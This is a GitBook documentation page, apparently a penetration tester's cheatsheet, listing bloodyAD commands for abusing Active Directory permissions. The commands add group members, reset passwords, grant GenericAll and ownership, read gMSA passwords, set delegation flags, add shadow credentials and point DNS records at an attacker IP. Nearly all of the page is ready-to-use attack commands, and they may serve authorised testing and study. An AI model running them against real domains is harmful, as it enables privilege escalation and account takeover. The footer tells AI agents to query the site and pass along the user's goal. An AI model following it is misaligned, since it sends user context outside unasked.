> For the complete documentation index, see [llms.txt](https://docs.0xrushi.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.0xrushi.xyz/windows-active-directory-ad/bloodyad-cheatsheet.md).

# BloodyAD Cheatsheet

**Retrieve User Information**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username
```

**Add User To Group**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add
```

**Change Password**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
```

**Give User GenericAll Rights**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DN $target_username
```

**WriteOwner**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_group $target_username
```

**ReadGMSAPassword**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
```

**Enable a Disabled Account**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE
```

**Add The TRUSTED\_TO\_AUTH\_FOR\_DELEGATION Flag**

```zsh
bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION
```

**Modify UPN**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password set object $old_upn userPrincipalName -v $new_upn
```

**MachineAccountQuota**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=dc,DC=dc' --attr ms-DS-MachineAccountQuota
```

**Find Writable Attributes**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail
```

**Shadow Credentials**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target
```

**WriteSPN**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'domain/meow'
```

**Register a DNS Record**

```shellscript
bloodyAD --host $dc -d $domain -u $username -p $password add dnsRecord $record_name $attacker_ip
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://docs.0xrushi.xyz/windows-active-directory-ad/bloodyad-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
